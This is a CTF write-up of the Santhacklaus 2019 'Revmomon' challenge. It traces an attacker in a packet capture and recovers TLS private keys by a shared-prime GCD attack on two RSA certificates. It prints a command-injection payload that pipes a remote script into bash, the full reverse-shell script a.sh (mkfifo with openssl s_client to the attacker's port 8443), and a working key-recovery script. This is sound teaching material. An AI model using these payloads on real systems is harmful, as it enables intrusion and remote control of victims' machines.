Contents

Santhacklaus 2019: Revmomon

Nice forensic/crypto chall about weak TLS implementation inside a PCAP file, played during the 2nd edition of the Santhacklaus CTF.

Statement

Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.

If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it.

MD5 of the file:

c93adc996da5dda82312e43e9a91d053

Forensic

The only resource we have is a 35 MB pcapng file, challenge.pcapng.

The first thing I usually do with huge pcap files is listing protocols inside, as below.

$ tshark -r challenge.pcapng | awk '{print $7}' | sort -u

1
2
3
4
5
6
7
8
ARP
DNS
HTTP
ICMP
MDNS
TCP
TLSv1
TLSv1.2

We can then check the pcap for DNS exfiltration and ICMP exfiltration, which are classic cases of network forensics. Check for ICMP exfiltation:

$ tshark -r challenge.pcapng -Y 'icmp' -Tfields -e data.data | tr -d ':' | xxd -r -p

1
2
3
4
5
6
7
��
   !"#$%&'()*+,-./01234567��
                                             !"#$%&'()*+,-./01234567��
                                                                                       !"#$%&'()*+,-./01234567��
                                                                                                                                 !"#$%&'()*+,-./01234567��
                                                                                                                                                                           !"#$%&'()*+,-./01234567��
  !"#$%&'()*+,-./01234567

Check for DNS exfiltration:

$ tshark -r challenge.pcapng -Y 'dns' -Tfields -e dns.qry.name

1
2
3
4
5
6
security.debian.org
deb.debian.org
security-cdn.debian.org
[...]
1.0.17.172.in-addr.arpa
3.0.17.172.in-addr.arpa

Alright, therefore this must be a more intersting chall!

By opening the capture with Wireshark we see very verbose TCP traffic at first.

/img/santhacklaus-2019-revmomon/nmap.png

It is only composed by TCP SYN from 172.17.0.1 to 172.17.0.5, each time on a different port.
That looks like some nmap traffic. We conclude 172.17.0.1 is the attacker’s ip address.

Further there are 2 different HTTP flows.

/img/santhacklaus-2019-revmomon/apt-get.png

/img/santhacklaus-2019-revmomon/dirb.png

According to the reached URLs, the first one is a simple apt-get traffic.

The second looks like a dirb scan, or whatever tool which bruteforces web server available files.

Then we have some HTTPS traffic, which is very scary because we will certainly have to decrypt it :c

/img/santhacklaus-2019-revmomon/https.png

At this point we have this information:

  • Attacker IP: 172.17.0.1
  • Target IP: 172.17.0.5
  • Attacker used nmap then dirb
  • Attacker infected the server with a backdoor (from statement)

To start following the attacker’s tracks, I looked closer at HTTP traffic, and I quickly found those POST requests from the attacker.

/img/santhacklaus-2019-revmomon/post-requests.png

Let’s see what they contain with “Follow HTTP stream”.

/img/santhacklaus-2019-revmomon/http-stream_1.png

/img/santhacklaus-2019-revmomon/http-stream_2.png

/img/santhacklaus-2019-revmomon/http-stream_3.png

The target’s website contains a form in which you have to put an IP address in order to check if it’s up or not. It seems that there is no user input filtering because the attacker exploited a command injection to run the id command through nc.

The last POST request is far more interesting.

/img/santhacklaus-2019-revmomon/http-stream_4.png

/img/santhacklaus-2019-revmomon/http-stream_5.png

The URL-decoded command is 127.0.0.1 ; curl -k https://172.17.0.1/a.sh | bash"

We definitely want to know what does this a.sh script do, but all remaining traffic is encrypted (HTTPS). The capture is not hiding any private key, this won’t be so easy to recover plain HTTP data.

Crypto

By browsing the capture during long hours, we don’t find any piece of data helping us in our decrpyting quest. We remember it is a crypto challenge, the vulnerability must be in the TLS implementation itself.

The cryptographic suite of the attacker’s HTTPS server is the following.

/img/santhacklaus-2019-revmomon/crypto_suite.png

We have some RSA, let’s find some mistakes that could be made in order to break it.

An interesting point is that 172.17.0.1 has 2 HTTPS servers running, on 2 different ports: 443 and 8443.

/img/santhacklaus-2019-revmomon/443-and-8443.png

That involves the following RSA numbers:

  • Server on port 443
    • modulo: n1 (p1*q1)
    • exponent: 65537 (public, standard)
    • d1 (private)
  • Server on port 8443
    • modulo: n2 (p2*q2)
    • exponent: 65537 (public, standard)
    • d2 (private)

I learned that in weak HTTPS implementations, a RSA factor (p or q) can be shared between 2 different key pairs to save calculation time during generation. What if our 2 servers have a p in common? We could calculate the GCD (Greatest Common Divider) of the 2 modulos, which means factorize them both!

Let’s dig it by extracting the 2 certificates:

1
2
3
thbz ~/CTF/Santhacklaus/revmomon > tshark -r challenge.pcapng -Y 'ip.src == 172.17.0.1 && ssl.handshake.certificate' -Tfields -e ssl.handshake.certificate | sort -u | tr -d ':'
308203933082027ba00302010202147687e8f8299f8e13e23e4187ba389f139329e24d300d06092a864886f70d01010b05003059310b3009060355040613025255310f300d06035504080c06527573736965310f300d06035504070c064d6f73636f7731173015060355040a0c0e5072696d65206d696e6973746572310f300d060355040b0c06476f756c6167301e170d3139313032393233333631385a170d3238303131353233333631385a3059310b3009060355040613025255310f300d06035504080c06527573736965310f300d06035504070c064d6f73636f7731173015060355040a0c0e5072696d65206d696e6973746572310f300d060355040b0c06476f756c616730820122300d06092a864886f70d01010105000382010f003082010a0282010100f24eac4339289aa0a378e3c9d7489d630e4afc427f72b2c259c299cbbf61c8e8880076e73f789cadf783f12eea9dbe87c0cc8abeebb5acb90004ff115150a50e57f230a71930ef29f24823fb1b3cd85ccc241789884b2a486eadffcce9dbafd6d68aad196a5d7ab6da3b47998f4dc4c6eca879d6cd8207ee602a9eec007d581f3f07ba774c48f09cd13b6d17384412f92a1ab3076a6562bacd0ea868af98e8fd10600c6767406304a34f80f2864f1b39aae1dfa51364f10381425ca070d8ce82f8f766c2492d2b5645dbac3f324d2010ee43561d0c80f92e9841627d39aaf50829532f2a922fe3f32237db432617a5907abe2ab601697661705106fa2af2a7490203010001a3533051301d0603551d0e0416041403c8b22eff2cd0d1c0f6b84f7c7a8dd9b4019075301f0603551d2304183016801403c8b22eff2cd0d1c0f6b84f7c7a8dd9b4019075300f0603551d130101ff040530030101ff300d06092a864886f70d01010b05000382010100e1dbc5647cb3ef9bfa4e12e2412f3d81e943eddb350b3a938916b33e2c88ce5b8196633e52d9054a6eee5b47309c559167147426f8b2a34beebcd0e72bdcadbe9e73787635446200e45c67d0912d2c4004fa89bfe2bed7b0bf6739c0b6101129115275b10415d961f64eefd63bec93c143f88387125b3decdffff45bbf277f397bb3dbabe35b0c63e49ff5f7ab7c4551a03aec077bb699970cfebff9f7eb85ab7a13532f390a6a14fcac7e817648ac1b578d41448fa2b4bf1d6351573a49124f827d7638af621f0cb1679ad1f4fde6989aa2151cdec8e89eff04a92c3995d0a744e0de716a9d1f551e8f4d2c8290d53d6b8f2f354610e701bdce1846d607f6d5
3082039930820281a003020102021463d19310c368e05d63329abac451f4914f34da11300d06092a864886f70d01010b0500305c310b3009060355040613024652310f300d06035504080c064672616e6365310e300c06035504070c05506172697331173015060355040a0c0e5072696d65204d696e697374657231133011060355040b0c0a42726578697420465457301e170d3139313032393230313830315a170d3238303131353230313830315a305c310b3009060355040613024652310f300d06035504080c064672616e6365310e300c06035504070c05506172697331173015060355040a0c0e5072696d65204d696e697374657231133011060355040b0c0a4272657869742046545730820122300d06092a864886f70d01010105000382010f003082010a0282010100eaa1f50f799c7b8a48e346834c51c79d4f08f38394ecd091dca0f8a530ac92dcace9cb6139d67862747a6b7481204026a6af29ff7288f5f9903b8dc9263f8de2f58482c03c4b917709066d6caaf620bac25fc0576a989cbd81475d6979ebbc5619ea64aa3745040a82f0d76913de598590e9c334608f40c825105a289f5139d29ea3c6d86ad5d109d9bff90f42c3cadd927650b67261f09734eb551674469147914835066d3660e4c337a10d80fe7a567dce6357a11ac1fb061036ea074d5ba7062842173fd651ca2a708b4f4a885e5868b2f8e93807441c04210b855b394694a3a7a0bfd3297ed26c773fed7be3726c2949a7bb57c060a8b7a07006e2c818150203010001a3533051301d0603551d0e04160414762dcfdf0f4ac899c5ef67fc0db07aad8dd59c17301f0603551d23041830168014762dcfdf0f4ac899c5ef67fc0db07aad8dd59c17300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010001b9aee723c3b195a63bddcd6bc511b2383298467b231f3413b485d91be1bc1a9123bc222711b96c6ff7f45ce64288724b8eed1bdd00e7898940d610de82bc498db2fc11b3077f5c909c05ae651eb4279523ef1e457a67320539de71eec6a5b97932801b27cfb85544254cca8272644fc6e4736d79895e34d351d7aa537186230adecbae1c03ceab13df3991420b3349551f7c535b9ef0f62c07b713d072d42200bef377ee2caba61614e4fd9fdd6c2c613579ff08e99d2a5fd5707ca4aded732a12e211e9b5d382295f02ead6df2cec77b4b1e02cf7e67ef584fbb7c68334fd305bd46d63bb50ce265d5cf83e21b7c243e629b659d76c0b913357fb359c3529

Then we decode them from hex, and we obtain 2 DER certificates.

1
2
thbz ~/CTF/Santhacklaus/revmomon > echo -n '308203[...]07f6d5' | xxd -r -p > cert1.der
thbz ~/CTF/Santhacklaus/revmomon > echo -n '308203[...]9c3529' | xxd -r -p > cert2.der

Thanks to openssl we extract the 2 modulos:

$ openssl x509 -inform der -in cert1.der -noout -modulus

1
2
3
Modulus=F24EAC4339289AA0A378E3C9D7489D630E4AFC427F72B2C259C299CBBF61C8E8880076E73F789CADF783F12EEA9DBE87C0CC8ABEEBB5ACB90004FF115150A50E57F230A71930EF29F24823FB1B3CD85CCC241789884B2A486EADFFCCE9DBAFD6D68AAD196A5D7AB6DA3B47998F4DC4C6ECA879D6CD8207EE602A9EEC007D581F3F07BA774C48F09CD13B6D17384412F92A1AB3076A6562BACD0EA868AF98E8FD10600C6767406304A34F80F2864F1B39AAE1DFA51364F10381425CA070D8CE82F8F766C2492D2B5645DBAC3F324D2010EE43561D0C80F92E9841627D39AAF50829532F2A922FE3F32237DB432617A5907ABE2AB601697661705106FA2AF2A749
thbz ~/CTF/Santhacklaus/revmomon > openssl x509 -inform der -in cert2.der -noout -modulus
Modulus=EAA1F50F799C7B8A48E346834C51C79D4F08F38394ECD091DCA0F8A530AC92DCACE9CB6139D67862747A6B7481204026A6AF29FF7288F5F9903B8DC9263F8DE2F58482C03C4B917709066D6CAAF620BAC25FC0576A989CBD81475D6979EBBC5619EA64AA3745040A82F0D76913DE598590E9C334608F40C825105A289F5139D29EA3C6D86AD5D109D9BFF90F42C3CADD927650B67261F09734EB551674469147914835066D3660E4C337A10D80FE7A567DCE6357A11AC1FB061036EA074D5BA7062842173FD651CA2A708B4F4A885E5868B2F8E93807441C04210B855B394694A3A7A0BFD3297ED26C773FED7BE3726C2949A7BB57C060A8B7A07006E2C81815

We write a Python script to test and exploit the vulnerability.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

from Crypto.PublicKey import RSA
import gmpy2
from os import chmod

n1 = int(input("Modulus 1: "), 16)
n2 = int(input("Modulus 2: "), 16)
e = 0x10001
p = gmpy2.gcd(n1,n2)

if p > 1:
    print("[+] Big GCD found!")
else:
    exit("[x] GCD is 1, no vuln :(")

# Computing d values
q1 = n1 // p
q2 = n2 // p
phi1 = (p-1)*(q1-1)
phi2 = (p-1)*(q2-1)
d1 = int(gmpy2.invert(e,phi1))
d2 = int(gmpy2.invert(e,phi2))

# Creating private key objects
privkey1 = RSA.construct((n1,e,d1))
privkey2 = RSA.construct((n2,e,d2))

# Exporting private keys in PEM format
with open("/tmp/priv1.key", 'wb') as content_file:
    chmod("/tmp/priv1.key", 0o600)
    content_file.write(privkey1.exportKey('PEM'))
print("[+] Exported priv1.key")

with open("/tmp/priv2.key", 'wb') as content_file:
    chmod("/tmp/priv2.key", 0o600)
    content_file.write(privkey2.exportKey('PEM'))
print("[+] Exported priv2.key")

The script takes our 2 modulos as input, and if they have a common factor, it generates 2 PEM files corresponding to the 2 private keys in a standard format.

$ ./rsa.py

1
2
3
4
5
Modulus 1: F24EAC4339289AA0A378E3C9D7489D630E4AFC427F72B2C259C299CBBF61C8E8880076E73F789CADF783F12EEA9DBE87C0CC8ABEEBB5ACB90004FF115150A50E57F230A71930EF29F24823FB1B3CD85CCC241789884B2A486EADFFCCE9DBAFD6D68AAD196A5D7AB6DA3B47998F4DC4C6ECA879D6CD8207EE602A9EEC007D581F3F07BA774C48F09CD13B6D17384412F92A1AB3076A6562BACD0EA868AF98E8FD10600C6767406304A34F80F2864F1B39AAE1DFA51364F10381425CA070D8CE82F8F766C2492D2B5645DBAC3F324D2010EE43561D0C80F92E9841627D39AAF50829532F2A922FE3F32237DB432617A5907ABE2AB601697661705106FA2AF2A749
Modulus 2: EAA1F50F799C7B8A48E346834C51C79D4F08F38394ECD091DCA0F8A530AC92DCACE9CB6139D67862747A6B7481204026A6AF29FF7288F5F9903B8DC9263F8DE2F58482C03C4B917709066D6CAAF620BAC25FC0576A989CBD81475D6979EBBC5619EA64AA3745040A82F0D76913DE598590E9C334608F40C825105A289F5139D29EA3C6D86AD5D109D9BFF90F42C3CADD927650B67261F09734EB551674469147914835066D3660E4C337A10D80FE7A567DCE6357A11AC1FB061036EA074D5BA7062842173FD651CA2A708B4F4A885E5868B2F8E93807441C04210B855B394694A3A7A0BFD3297ED26C773FED7BE3726C2949A7BB57C060A8B7A07006E2C81815
[+] Big GCD found!
[+] Exported priv1.key
[+] Exported priv2.key

This works like a charm, and we are now able to decrpyt all the TLS!

For that we have to add the keys in Wireshark which will do the job for us.&

/img/santhacklaus-2019-revmomon/decrypt_1.png

/img/santhacklaus-2019-revmomon/decrypt_2.png

/img/santhacklaus-2019-revmomon/decrypt_3.png

We successfully decrypted it!

We have now access to the content of attackers’s a.sh and the rest of the network traffic.

Forensic again

By inspecting the HTTP transfer of the GET /a.sh frame we obtain the following script.

1
2
3
4
5
6
7
8
#!/bin/sh

IP_ATTACKER="172.17.0.1"
OPENSSL_PATH=$(which openssl)

wget --no-check-certificate https://${IP_ATTACKER}:443/cert2.crt -O /dev/shm/cert.pem

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ${OPENSSL_PATH} s_client -quiet -CAfile /dev/shm/cert.pem -verify_return_error -verify 1 -connect ${IP_ATTACKER}:8443 > /tmp/s; rm /tmp/s

This opens a reverse shell with the attacker on the port 8443 over HTTPS.

Here are pieces of what the attacker did over this shell.

/img/santhacklaus-2019-revmomon/http-stream-dec_1.png

/img/santhacklaus-2019-revmomon/http-stream-dec_2.png

/img/santhacklaus-2019-revmomon/http-stream-dec_3.png

The file DRUNK_IKEBANA is probably our malware as the attacker is hiding it, launching it in background, before starting covering his tracks.

$ sha256sum /tmp/DRUNK_IKEBANA

1
daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830  /tmp/DRUNK_IKEBANA
Flag
SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}

Thank you Maki for this awesome chall <3 (and don’t worry it was not guessing)